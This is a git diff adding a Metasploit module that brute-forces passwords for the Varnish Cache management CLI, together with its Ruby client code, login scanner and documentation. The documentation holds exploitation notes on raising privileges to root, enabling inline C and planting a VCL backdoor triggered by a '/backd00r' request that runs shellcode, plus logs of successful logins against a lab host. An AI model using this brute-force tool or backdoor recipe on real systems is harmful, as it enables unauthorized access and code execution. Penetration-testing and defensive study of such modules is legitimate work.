diff --git a/documentation/modules/auxiliary/scanner/varnish/varnish_cli_login.md b/documentation/modules/auxiliary/scanner/varnish/varnish_cli_login.md new file mode 100644 index 0000000000..70d2a4d37a --- /dev/null +++ b/documentation/modules/auxiliary/scanner/varnish/varnish_cli_login.md @@ -0,0 +1,134 @@ +## Vulnerable Application + + Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f. + Kali installed varnish-5.0.0 revision 99d036f + + Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test: + + 1. No Authentication: `varnishd -T 0.0.0.0:6082`. Varnish 4 and later require either passing '-S ""', or may not support unauthenticated mode at all. + 2. Authentication (based on shared secret file): `varnishd -T 0.0.0.0:6082 -S file`. + 1. I made an easy test one `echo "secret" > ~/secret` + +## Exploitation Notes + +These notes were taken from the original module in EDB, and can be used when developing a working remote exploit + +``` +- varnishd typically runs as root, forked as unpriv. +- 'param.show' lists configurable options. +- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed. +- 'user' is nobody. param.set user root (may have to stop/start the child to activate) +- 'group' is nogroup. param.set group root (may have to stop/start the child to activate) +- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail). +- vcc_unsafe_path is on. used to 'import ../../../../file' etc. +- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution. +- code execution notes: + +* quotes must be escaped \" +* \n is a newline +* C{ }C denotes raw C code. +* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C +* #import etc must be "newline", i.e. C{ \n#include \n dosomething(); }C (without 2x \n, include statement will not interpret correctly). +* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode. +* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic. +* example trigger for backdoor: + +VCL server: + vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n" + vcl.use foo + start + +Attacker: + telnet target 80 + GET /backd00r HTTP/1.1 + Host: 127.0.0.1 + +(... wait for child to execute debug trap INT3 / shellcode). + +CLI protocol notes from website: + +The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end. + +Requests are whitespace separated tokens terminated by a newline (NL) character. + +Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), ( +), (\"), (\%03o) and (\x%02x) + +The response consists of a header which can be read as fixed format or ASCII text: + + 1-3 %03d Response code + 4 ' ' Space + 5-12 %8d Length of body + 13 \n NL character. +Followed by the number of bytes announced by the header. + +The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h: + +enum cli_status_e { + CLIS_SYNTAX = 100, + CLIS_UNKNOWN = 101, + CLIS_UNIMPL = 102, + CLIS_TOOFEW = 104, + CLIS_TOOMANY = 105, + CLIS_PARAM = 106, + CLIS_OK = 200, + CLIS_CANT = 300, + CLIS_COMMS = 400, + CLIS_CLOSE = 500 +}; +``` + +## Verification Steps + + Example steps in this format: + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use auxiliary/scanner/varnish/varnish_cli_login``` + 4. Do: ```run``` + 5. Find a valid login. + +## Options + + **PASS_FILE** + + File which contains the password list to use. + +## Scenarios + + Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION + + ``` + resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login + resource (varnish.rc)> set pass_file /root/varnish.list + pass_file => /root/varnish.list + resource (varnish.rc)> set rhosts 192.168.2.85 + rhosts => 192.168.2.85 + resource (varnish.rc)> set verbose true + verbose => true + resource (varnish.rc)> run + [+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + msf auxiliary(varnish_cli_login) > + ``` + + Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f + + ``` + resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login + resource (varnish.rc)> set pass_file /root/varnish.list + pass_file => /root/varnish.list + resource (varnish.rc)> set rhosts 192.168.2.85 + rhosts => 192.168.2.85 + resource (varnish.rc)> set verbose true + verbose => true + resource (varnish.rc)> run + [*] 192.168.2.85:6082 - 192.168.2.85:6082 - Authentication Required + [!] 192.168.2.85:6082 - No active DB -- Credential data will not be saved! + [*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: bad + [*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: good + [+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: secret + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` diff --git a/lib/metasploit/framework/login_scanner/varnish.rb b/lib/metasploit/framework/login_scanner/varnish.rb new file mode 100644 index 0000000000..cafe24841d --- /dev/null +++ b/lib/metasploit/framework/login_scanner/varnish.rb @@ -0,0 +1,55 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/varnish/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Varnish CLI. + + class VarnishCLI + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::Varnish::Client + + DEFAULT_PORT = 6082 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'varnishcli' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + def attempt_login(credential) + begin + connect + success = login(credential.private) + close_session + disconnect + rescue RuntimeError => e + return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message} + rescue Rex::ConnectionError, EOFError, Timeout::Error + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT + + result = Result.new(credential: credential, status: status) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'varnishcli' + result + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + end + end +end diff --git a/lib/metasploit/framework/varnish/client.rb b/lib/metasploit/framework/varnish/client.rb new file mode 100644 index 0000000000..88a6ff1ad8 --- /dev/null +++ b/lib/metasploit/framework/varnish/client.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'msf/core/exploit/tcp' + +module Metasploit + module Framework + module Varnish + module Client + + @@AUTH_REQUIRED_REGEX = /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required\./ # 107 auth + @@AUTH_SUCCESS_REGEX = /200 \d+/ # 200 ok + + def require_auth? + # function returns false if no auth is required, else the challenge string + res = sock.get_once # varnish can give the challenge on connect, so check if we have it already + if res && res =~ @@AUTH_REQUIRED_REGEX + return $1 + end + # Cause a login fail to get the challenge. Length is correct, but this has upper chars, subtle diff for debugging + sock.put("auth #{Rex::Text.rand_text_alphanumeric(64)}\n") + res = sock.get_once # grab challenge + if res && res =~ @@AUTH_REQUIRED_REGEX + return $1 + end + return false + end + + def login(pass) + # based on https://www.varnish-cache.org/trac/wiki/CLI + begin + challenge = require_auth? + if !!challenge + response = Digest::SHA256.hexdigest("#{challenge}\n#{pass.strip}\n#{challenge}\n") + sock.put("auth #{response}\n") + res = sock.get_once + if res && res =~ @@AUTH_SUCCESS_REGEX + return true + else + return false + end + else + raise RuntimeError, "No Auth Required" + end + rescue Timeout::Error + raise RuntimeError, "Varnish Login timeout" + end + end + + def close_session + sock.put('quit') + end + + end + end + end +end + diff --git a/modules/auxiliary/scanner/varnish/varnish_cli_login.rb b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb new file mode 100644 index 0000000000..c99ec74bb6 --- /dev/null +++ b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/varnish' +require 'metasploit/framework/tcp/client' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Metasploit::Framework::Varnish::Client + + def initialize + super( + 'Name' => 'Varnish Cache CLI Login Utility', + 'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce + list of passwords.', + 'References' => + [ + [ 'OSVDB', '67670' ], + [ 'CVE', '2009-2936' ], + [ 'EDB', '35581' ], + [ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ] + ], + 'Author' => + [ + 'patrick', #original module + 'h00die ' #updates and standardizations + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(6082), + OptPath.new('PASS_FILE', [ true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ]) + ], self.class) + + # We don't currently support an auth mechanism that uses usernames, so we'll ignore any + # usernames that are passed in. + @strip_usernames = true + end + + def run_host(ip) + # first check if we even need auth + begin + connect + if !require_auth? + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required" + close_session + disconnect + return + else + vprint_status "#{ip}:#{rport} - Authentication Required" + end + close_session + disconnect + rescue Rex::ConnectionError, EOFError, Timeout::Error + print_error "#{ip}:#{rport} - Unable to connect" + end + + cred_collection = Metasploit::Framework::CredentialCollection.new( + pass_file: datastore['PASS_FILE'], + username: '' + ) + scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new( + host: ip, + port: rport, + cred_details: cred_collection, + stop_on_success: true, + connection_timeout: 10, + framework: framework, + framework_module: self, + + ) + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}" + else + invalidate_login(credential_data) + vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}" + end + end + end +end